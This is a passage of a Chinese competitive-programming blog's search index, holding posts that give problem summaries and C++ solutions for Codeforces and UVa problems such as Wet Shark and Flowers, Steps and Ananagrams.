Shark. They are all sitting around the table, such that sharks i and i + 1 are neighbours for all i from 1 to n - 1. Sharks n and 1 are neighbours too. Each shark will grow some number of flowers s__i. For i-th shark value s__i is random integer equiprobably chosen in range from _l__i_to r__i. Wet Shark has it’s favourite prime number p, and he really likes it! If for any pair of neighbouring sharks i and j the product s__i·s__j is divisible by p, then Wet Shark becomes happy and gives 1000 dollars to each of these sharks. At the end of the day sharks sum all the money Wet Shark granted to them. Find the expectation of this value. Input The first line of the input contains two space-separated integers n and p (3 ≤ n ≤ 100 000, 2 ≤ p ≤ 109) — the number of sharks and Wet Shark’s favourite prime number. It is guaranteed that p is prime. The i-th of the following n lines contains information about i-th shark — two space-separated integers l__i and r__i(1 ≤ l__i ≤ r__i ≤ 109), the range of flowers shark i can produce. Remember that s__i is chosen equiprobably among all integers from_l__i_ to r__i, inclusive. Output Print a single real number — the expected number of dollars that the sharks receive in total. You answer will be considered correct if its absolute or relative error does not exceed 10 - 6. Namely: let’s assume that your answer is a, and the answer of the jury is b. The checker program will consider your answer correct, if . Sample test(s) input 3 2 1 2 420 421 420420 420421 output 4500.0 input 3 5 1 4 2 3 11 14 output 0.0 Note A prime number i","date":"2016-02-01","externalUrl":null,"permalink":"/2016/02/cf341/","section":"Posts","summary":"http://codeforces.com/contest/621/problem/C C. Wet Shark and Flowers time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output There are n sharks who grow flowers for Wet Shark. They are all sitting around the table, such that sharks i and i + 1 are neighbours for all i from 1 to n - 1. Sharks n and 1 are neighbours too.","tags":["math","概率"],"title":"codeforces #341 div2  C. Wet Shark and Flowers","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=1857 题意：计算最大的n,满足n!/* *********************************************** Author :111qqz Created Time :2016年01月29日 星期五 19时49分25秒 File Name :code/uva/10916.cpp ************************************************ */ #include #include #include #include #include #include #include #include #include #include #include #include #define fst first #define sec second #define lson l,m,rt«1 #define rson m+1,r,rt«1|1 #define ms(a,x) memset(a,x,sizeof(a)) typedef long long LL; #define pi pair \u003c int ,int \u003e #define MP make_pair using namespace std; const double eps = 1E-8; const int dx4[4]={1,0,0,-1}; const int dy4[4]={0,-1,1,0}; const int inf = 0x3f3f3f3f; const int N=150; int n; int f[N]; void pre() { 1f[0] = 3; 2int per = 2; 3for ( int i = 1 ; i \u003c=25 ; i++) 4{ 5f[i]=f[i-1]+per; 6per++; 7} } int main() { #ifndef ONLINE_JUDGE freopen(“code/in.txt”,“r”,stdin); #endif while (scanf(\"%d\",\u0026n)!=EOF) // (1*2*3*...*n)\u003e2^k,巧妙利用对数求解。两边取对数即可。 { if (n==0) break; int k = (n-1960)/10; int p = 1\u003c\u003c(k+2); // cout\u003c\u003c\"k:\"\u003c\u003ck\u003c\u003cendl; // cout\u003c\u003c\"p:\"\u003c\u003cp\u003c\u003cendl; double dp = p*1.0*log(2); //因为不等式左边每一个都有一个log(2)(计算对数的时候用换底公式产生的)，可以乘到不等号右边。 double sum = 0 ; for ( int i = 1; ; i++) { sum +=log(i); //cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" sum:\"\u003c\u003csum\u003c\u003cendl; if (sum\u003edp) { printf(\"%d\\n\",i-1); break; } } } #ifndef ONLINE_JUDGE fclose(stdin); #endif return 0; }","date":"2016-01-29","externalUrl":null,"permalink":"/2016/01/uva10916/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=1857 题意：计算最大的n,满足n!/* *********************************************** Author :111qqz Created Time :2016年01月29日 星期五 19时49分25秒 File Name :code/uva/10916.cpp ************************************************ */","tags":["log","math"],"title":"uva 10916  Factstone Benchmark","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid=8\u0026page=show_problem\u0026problem=43 题意：其实就是给了两个式子。。。(N+1)^h=a,N^h=b,a,b已知，然后求关于N的两个式子.。。 思路：数学上这个方程貌似不可解。。？ 所以只能枚举一下==。。。注意精度问题把。。。 然后用换底公式求对数的时候要向上取整。 还有b为1的时候是特殊数据。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月28日 星期四 16时46分38秒 4File Name :code/uva/107.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-12; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int a,b; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 while (scanf(\"%d %d\",\u0026a,\u0026b)!=EOF) 41 { 42 if (a==0\u0026\u0026b==0) break; 43 int n ,h; 44 int ans1,ans2=0; 45 //b为1是特殊数据，除数为0了。。。。 46 if (b==1) 47 { 48 h = ceil(log(a)/log(2)); 49 cout\u003c\u003ch\u003c\u003c\" \"\u003c\u003c2*a-1\u003c\u003cendl; 50 continue; 51 } 52 53 for ( int i = 1 ; ;i++) 54 { 55 if (fabs(log(a)*log(i)-log(b)*log(i+1))\u003ceps) 56 { 57 n = i; 58 break; 59 } 60 } 61 h = (ceil)(log(b)/log(n)); //应该向上取整。。。可以看做一般规律。。换地公式求对数的时候。。想想为什么。 62 // cout\u003c\u003c\"h:\"\u003c\u003ch\u003c\u003cendl; 63 ans1 = (int)((1-b)/(1-n)); 64 ans2=0; 65 int curh = 1; 66 for ( int i = 0 ; i \u003c= h ;i++) 67 { 68 // cout\u003c\u003c\"curh:\"\u003c\u003ccurh\u003c\u003c\" b:\"\u003c\u003cb\u003c\u003cendl; 69 ans2+=curh*b; 70 curh*=(n+1); 71 b/=n; 72 } 73 // cout\u003c\u003cans1\u003c\u003c\" \"\u003c\u003cans2\u003c\u003cendl; 74 printf(\"%d %d\\n\",ans1,","date":"2016-01-28","externalUrl":null,"permalink":"/2016/01/uva107/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid=8\u0026page=show_problem\u0026problem=43 题意：其实就是给了两个式子。。。(N+1)^h=a,N^h=b,a,b已知，然后求关于N的两个式子.。。 思路：数学上这个方程貌似不可解。。？ 所以只能枚举一下==。。。注意精度问题把。。。","tags":["math"],"title":"uva 107 The Cat in the Hat","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=787 题意：从x增加到y，第一步和最后一步步长只能是1，其他步一定可以是上一步减一，和上一步相等，或者上一步步长加一，三种情况，且步长恒为正。问从x到y最少需要的步数。 思路：首先可以知道，走的最快的方法是1+2+3+…+k+…+3+2+1.这个式子的结果是一个完全平方数，为k^2，式子的长度为2*k-1.即为答案。 我们可以知道k肯定不超过 ceil(sqrt(y-x)).但是中间的k是不一定要加的。再判断k^2减去k是否已经达到结果，如果是，就将答案减一。 注意对于这种做法x=y是特殊情况。。需要特判。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月28日 星期四 19时57分44秒 4File Name :code/uva/846.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int x,y; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 int T; 41 cin\u003e\u003eT; 42 while (T--) 43 { 44 scanf(\"%d %d\",\u0026x,\u0026y); 45 if (x==y) {cout\u003c\u003c0\u003c\u003cendl;continue;} 46 int k = ceil(sqrt(y-x)); 47 48 int sum = k*(k-1); 49 int ans = 2*k-1; 50 if (y-x\u003c=sum) ans--; 51 52 cout\u003c\u003cans\u003c\u003cendl; //x,y相等的情况要特判 53 54 } 55 56 #ifndef ONLINE_JUDGE 57 fclose(stdin); 58 #endif 59 return 0; 60} 还有一种做法是比较好想的非数学方法。 由于对第一步和最后一步的步长有要求，都是1. 很容易想到从两边往中间走。 然后每走两步（两个方向各一步），后增加一次步长。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月28日 星期四 19时57分44秒 4File Name :code/uva/846.cpp 5*************","date":"2016-01-28","externalUrl":null,"permalink":"/2016/01/uva846/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=787 题意：从x增加到y，第一步和最后一步步长只能是1，其他步一定可以是上一步减一，和上一步相等，或者上一步步长加一，三种情况，且步长恒为正。问从x到y最少需要的步数。","tags":["math"],"title":"uva 846 Steps","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid=8\u0026page=show_problem\u0026problem=966 题意：?1?2?3?4…?n=k,把每个?替换成+或者-，找到最小的n使得式子成立。 题意：这道题最关键的一点是。如果s1=1+2+3+.,x+..+n\u003e=k (所有数取正数）,那么一定有s2=1+2+3+..-x+..+n=k 非严格证明如下： s1-s2 = 2x,s1-k=2x 一个数减去偶数，奇偶性不变。x是从1到n中的一个，2*x则包含了s1和s2相差的数所有可能性。 具体做法就是找到一个大于等于k的s1,且s1-k是偶数。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月28日 星期四 13时58分24秒 4File Name :code/uva/10025.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int k; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 int T; 40 cin\u003e\u003eT; 41 while (T--) 42 { 43 scanf(\"%d\",\u0026k); 44 if (k\u003c0) k = -k; 45 46 47 int sum = 0 ; 48 int p = int(sqrt(2*k)); 49 50// cout\u003c\u003c\"p:\"\u003c\u003cp\u003c\u003cendl; 51 for ( int i = p ; ;i++) 52 { 53 sum = (1+i)*i/2; 54 55 56 if (sum\u003e=k\u0026\u0026(sum-k)%2==0\u0026\u0026sum\u003e0) 57 { 58 cout\u003c\u003ci\u003c\u003cendl; 59 break; 60 } 61 } 62 if (T) 63 { 64 puts(\"\"); 65 } 66 } 67 68 #ifndef ONLINE_JUDGE 69 fclose(stdin); 70 #endif 71 return 0; 72}","date":"2016-01-28","externalUrl":null,"permalink":"/2016/01/uva-10025/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid=8\u0026page=show_problem\u0026problem=966 题意：?1?2?3?4…?n=k,把每个?替换成+或者-，找到最小的n使得式子成立。 题意：这道题最关键的一点是。如果s1=1+2+3+.,x+..+n\u003e=k (所有数取正数）,那么一定有s2=1+2+3+..-x+..+n=k","tags":["math"],"title":"uva 10025 The ? 1 ? 2 ? ... ? n = k problem","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=49 题意：求p开n次方。保证结果为整数。 思路：p最大10的101次方。。。double最大10的308次方。。因为肯定是整数。。不存在精度问题。。所以可以用douible水过QAQ… 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月28日 星期四 03时07分01秒 4File Name :code/uva/113.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33double n,p; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 while (scanf(\"%lf %lf\",\u0026n,\u0026p)!=EOF) 41 { 42 printf(\"%.f\\n\",pow(p,1.0/n)); 43 } 44 45 #ifndef ONLINE_JUDGE 46 fclose(stdin); 47 #endif 48 return 0; 49}","date":"2016-01-27","externalUrl":null,"permalink":"/2016/01/uva113/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=49 题意：求p开n次方。保证结果为整数。 思路：p最大10的101次方。。。double最大10的308次方。。因为肯定是整数。。不存在精度问题。。所以可以用douible水过QAQ…","tags":["math"],"title":"uva 113  Power of Cryptography","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=1726 题意：给出26个大写字母的权值，要求构造一个长度为n（n不超过210）的字符串。并且满足奇数位置只能放元音字母，偶数位置只能放辅音字母，且每个元音字母最多放21次，每个辅音字母最多放5次，要求构造的字符串的权值之和最小，在权值最小的前提下字典序最小。 思路：贪心。一开始错误得以为不是完整得不能交换（也就是不完整的字母只能放在最后，这是错误的）。但实际上只要每个字母的数量不变，那么就不影响权值。所以做法是，奇数位置偶数位置分别搞，先把构成字符串的字母按次存入，然后排序一下，输出即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月26日 星期二 15时10分28秒 4File Name :code/uva/10785.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33 34 35char a[30],b[30]; 36char oddans[210],evenans[210]; 37int n; 38void pre() 39{ 40 a[1]='A'; 41 a[2]='U'; 42 a[3]='E'; 43 a[4]='O'; 44 a[5]='I'; 45 46 b[1]='J'; 47 b[2]='S'; 48 b[3]='B'; 49 b[4]='K'; 50 b[5]='T'; 51 b[6]='C'; 52 b[7]='L'; 53 b[8]='D'; 54 b[9]='M'; 55 b[10]='V'; 56 b[11]='N'; 57 b[12]='W'; 58 b[13]='F'; 59 b[14]='X'; 60 b[15]='G'; 61 b[16]='P'; 62 b[17]='Y'; 63 b[18]='H'; 64 b[19]='Q'; 65 b[20]='Z'; 66 b[21]='R'; 67 68 69} 70 71void solve () 72{ 73 int odd = (n+1)/2; 74 int even = n/2; 75 76 int vowa = odd/21; 77 int vowr = odd; 78 int cona = even/5; 79 int conr = even%5; 80 81 int cnt = 0 ; 82 for ( int i = 1 ; i \u003c= vowa ; i++) 83 { 8","date":"2016-01-27","externalUrl":null,"permalink":"/2016/01/uva10785/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=1726 题意：给出26个大写字母的权值，要求构造一个长度为n（n不超过210）的字符串。并且满足奇数位置只能放元音字母，偶数位置只能放辅音字母，且每个元音字母最多放21次，每个辅音字母最多放5次，要求构造的字符串的权值之和最小，在权值最小的前提下字典序最小。","tags":["greedy","字符串","构造"],"title":"uva 10785 The Mad Numerologist","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=1135 题意：给出球队的名字和比赛的信息，得出stanging 思路：字符串处理。需要注意的是多组数据记得初始化多次，以及比较字典序的时候team name是大小写补敏感的。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月26日 星期二 15时47分36秒 4File Name :code/uva/10194.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+5; 34 35string game[N]; 36map\u003cstring,int\u003eTeamToId; 37struct Team 38{ 39 string nam; 40 string lowname; 41 int a,b,c,d,e,f,g,h,i; 42 43 bool operator\u003c(Team p)const 44 { 45 if (b\u003ep.b) return true; 46 if (b==p.b\u0026\u0026d\u003ep.d) return true; 47 if (b==p.b\u0026\u0026d==p.d\u0026\u0026g\u003ep.g) return true; 48 if (b==p.b\u0026\u0026d==p.d\u0026\u0026g==p.g\u0026\u0026h\u003ep.h) return true; 49 if (b==p.b\u0026\u0026d==p.d\u0026\u0026g==p.g\u0026\u0026h==p.h\u0026\u0026c\u003cp.c) return true; 50 if (b==p.b\u0026\u0026d==p.d\u0026\u0026g==p.g\u0026\u0026h==p.h\u0026\u0026c==p.c\u0026\u0026lowname\u003cp.lowname) return true; //把第一个p.b写成p.d。。 51 return false; 52 } 53 54}team[35]; 55int g,n; 56string touname; 57 58void init() 59{ 60 for ( int i = 0 ; i\u003c=30 ; i++) 61 { 62 team[i].a=0; 63 team[i].b=0; 64 team[i].c=0; 65 team[i].d=0; 66 team[i].e=0; 67 team[i].f=0; 68 team[i].g=0; 69 team[i].h=0; 70 team[i].i=0; 71 } 72} 73 74string tolow( string x) 75{ 76 int len = x","date":"2016-01-27","externalUrl":null,"permalink":"/2016/01/uva10194/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=1135 题意：给出球队的名字和比赛的信息，得出stanging 思路：字符串处理。需要注意的是多组数据记得初始化多次，以及比较字典序的时候team name是大小写补敏感的。","tags":["字符串"],"title":"uva 10194 Football (aka Soccer)","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid=8\u0026page=show_problem\u0026problem=92 题意：给出一段文字，包含若干个单词，以’#‘结束。按照字典序输出所有的ananagrams。所谓ananagram，是指经过任意的重排后，不能得到这段文字中的另一个单词（不区分大小写） 思路：首先是字符串的读入…可以整行读入然后用空格分隔单词。由于补区分大小写，所以要都转化成小写…但是输出的时候要输出原始，所以还记得保留一份。而且要能够通过新的找到原始的（我用了一个toori的map\u003cstring,string\u003e来实现） 然后最关键的部分是如何判断两个单词经过重排是否能一样… 我的做法是构造一个hash函数…一个单词的hash值等于对应字母的顺序的平方和…效果还不错？ 单词和hash值一一对应…最大也就9E5,可以存的下。然后统计每个hash值出现的次数。对于那些只出现一次的，就是我们要的答案。 还要注意的是输出要按照原始单词的字典序，而不是都变成小写以后的字典序。 所以找到之后可以先找到对应的原始单词存到set里，最后再输出。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月25日 星期一 14时26分38秒 4File Name :code/uva/156.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=9E5+7; 34string str; 35int a[N]; 36map\u003cstring,int\u003emp; 37map\u003cstring,int\u003e::iterator it; 38map\u003cstring,string\u003etoori; 39struct node 40{ 41 string ori; 42 string nw; 43}st[1005]; 44 45set\u003cstring\u003eans; 46set\u003cstring\u003e::iterator it2; 47 48int main() 49{ 50 mp.clear(); 51 ans.clear(); 52 #ifndef ONLINE_JUDGE 53 freopen(\"code/in.txt\",\"r\",stdin); 54 #endif 55 ms(a,0); 56 int cnt = 0 ; 57 while (getline(cin,str)) 58 { 59 if (str==\"#\") break; 60 int p = str.find(' '); 61 string tmp; 62 int l","date":"2016-01-25","externalUrl":null,"permalink":"/2016/01/uva156/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid=8\u0026page=show_problem\u0026problem=92 题意：给出一段文字，包含若干个单词，以’#‘结束。按照字典序输出所有的ananagrams。所谓ananagram，是指经过任意的重排后，不能得到这段文字中的另一个单词（不区分大小写） 思路：首先是字符串的读入…可以整行读入然后用空格分隔单词。由于补区分大小写，所以要都转化成小写…但是输出的时候要输出原始，所以还记得保留一份。而且要能够通过新的找到原始的（我用了一个toori的map\u003cstring,string\u003e来实现） 然后最关键的部分是如何判断两个单词经过重排是否能一样…","tags":["hash","stl","字符串"],"title":"uva 156 - Ananagrams","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=56 题意：给出一个长度为n的序列（无重复元素），询问经过多少次flip(i)操作，使得序列升序排列。定义flip(i)为将1到n-i+1的元素反转… 思路：先离散化，然后注意读入…. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月25日 星期一 10时42分46秒 4File Name :code/uva/120.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35int a[N]; 36string in; 37 38struct node 39{ 40 int value; 41 int id; 42}q[N]; 43int pos[N]; 44bool cmp1(node a,node b) 45{ 46 return a.value\u003cb.value; 47} 48bool cmp2(node a,node b) 49{ 50 return a.id\u003cb.id; 51} 52 53 54void flip2( int x) 55{ 56 for ( int i = 1 ; i \u003c= x/2 ; i++) 57 { 58 swap(q[i].value,q[x+1-i].value); 59 } 60} 61 62void print( int n) 63{ 64 for ( int i = 1 ; i \u003c= n ; i ++) printf(\" %d \",q[i].value); 65 printf(\"\\n\"); 66} 67 68void getpos( int n) 69{ 70 for ( int i = 1 ; i \u003c= n ; i++) 71 { 72 pos[q[i].value] = i; 73 } 74} 75int main() 76{ 77 #ifndef ONLINE_JUDGE 78 freopen(\"code/in.txt\",\"r\",stdin); 79 #endif 80 81 while (getline(cin,in)) 82 { 83 ms(pos,-1); //pos[i]表示数字i的位置 84 // cout\u003c\u003c\"oriin:\"\u003c\u003cin\u003c\u003cendl; 85 int p = in.find(' '); 86 int val; 87 int cnt = 0 ; 88 while ","date":"2016-01-25","externalUrl":null,"permalink":"/2016/01/uva120/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=56 题意：给出一个长度为n的序列（无重复元素），询问经过多少次flip(i)操作，使得序列升序排列。定义flip(i)为将1到n-i+1的元素反转… 思路：先离散化，然后注意读入….","tags":["brute force","离散化"],"title":"uva 120   Stacks of Flapjacks","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=350 题意：给出k个key word,e个借口…找出包含key word最多的借口，即为最坏的借口。匹配补区分大小写\u0026\u0026同一个key word算多次。 思路：需要注意的是因为不区分大小写，需要都转化成大写或者小写。。但是输出的时候要输出原始的。。所以要另外存一份。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月22日 星期五 17时58分02秒 4File Name :code/uva/409.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33string str[50]; 34int k,e; 35int num[50]; 36set\u003cstring\u003ese; 37 38struct node 39{ 40 string exc; 41 string ori; 42 int num; 43 bool operator\u003c(node b)const 44 { 45 return num\u003eb.num; 46 } 47}ex[50]; 48 49int main() 50{ 51 #ifndef ONLINE_JUDGE 52 freopen(\"code/in.txt\",\"r\",stdin); 53 #endif 54 int cas = 0 ; 55 while (scanf(\"%d %d\",\u0026k,\u0026e)!=EOF) 56 { 57 se.clear(); 58 ms(num,0); 59 printf(\"Excuse Set #%d\\n\",++cas); 60 61 for ( int i = 0 ; i \u003c k ; i++) 62 { 63 cin\u003e\u003estr[i]; 64 int len = str[i].length(); 65 for ( int j = 0 ; j \u003c len ;j++) 66 { 67 str[i][j] = tolower(str[i][j]); 68 } 69 se.insert(str[i]); 70 } 71 getchar(); 72// for ( int i = 0 ; i \u003c k ;i++) cout\u003c\u003c\"str[i]:\"\u003c\u003cstr[i]\u003c\u003cendl; 73 for ( int i = 0 ; i \u003c e ; i++) 74 { 75 getline(cin,ex[i].exc); 76 ex[i].ori=ex[i].exc; 77 ","date":"2016-01-24","externalUrl":null,"permalink":"/2016/01/uva409/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=350 题意：给出k个key word,e个借口…找出包含key word最多的借口，即为最坏的借口。匹配补区分大小写\u0026\u0026同一个key word算多次。 思路：需要注意的是因为不区分大小写，需要都转化成大写或者小写。。但是输出的时候要输出原始的。。所以要另外存一份。","tags":["字符串"],"title":"uva 409 - Excuses, Excuses!","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5610 